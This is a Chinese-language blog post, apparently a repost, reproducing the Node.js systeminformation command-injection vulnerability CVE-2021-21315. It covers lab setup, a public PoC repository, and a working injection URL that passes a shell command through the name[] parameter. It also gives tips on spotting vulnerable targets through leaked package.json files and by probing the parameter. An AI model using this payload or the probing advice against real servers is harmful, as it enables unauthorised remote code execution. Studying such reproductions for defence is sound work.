文章总结: 本文复现Node.js模块systeminformation的RCE漏洞CVE-2021-21315,影响5.3.1以下版本。通过构造恶意name参数触发命令注入。文章详述环境搭建与验证流程,指出利用需确认目标依赖及API接口。建议检查package.json泄露并构造参数探测漏洞,仅供安全研究。 综合评分: 86 文章分类: 漏洞分析,漏洞POC,WEB安全
nodejs-rce漏洞复现(CVE-2021-21315)
T6 sec
T6 sec
2025年10月31日 15:37 广东
文中内容仅限学习交流,严禁用于商业及非法用途,涉及网络安全相关未经授权不得测试,违规使用后果自负,与作者及本号无关 。
在nodejs中 systeminformation是用于获取各种系统信息的Node.js模块
影响版本
Systeminformation < 5.3.1
下载受影响的Node.js,这里使用的是v12.18.4
| | | — | | wget https://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz |
解压,并改名为nodejs,移动至/usr/local/sbin/
tar -xvf node-v12.18.4-linux-x64.tar.xzmv node-v12.18.4-linux-x64 nodejsmv nodejs/ /usr/local/sbin/
更改文件node和npm的软链接
ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/
运行node后是12.18.4版本
下载漏洞环境
| | | — | | https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC |
进入里面运行node index.js
直接访问
http://127.0.0.1:8000/api/getServices?name[]=$(echo%20%27test%27%20%3E%20test.txt)
就成功执行了
这个漏洞挖到得注意几个点,首先得确定使用了nodejs,然后得确定必须使用了systeminformation模块 ,这些信息正常是获取不到的,只能看看有没有泄露之类
package.json 是 Node.js 项目的核心配置文件,如果有泄露,可能从这个里面获取到信息
其次,这个api接口/api/getServices,他可能不一定长这样,必须得调用services()才行
测试直接敲个?name[]就行,如果有回显,大概率可能存在
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:T6 sec T6 sec《nodejs-rce漏洞复现(CVE-2021-21315)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论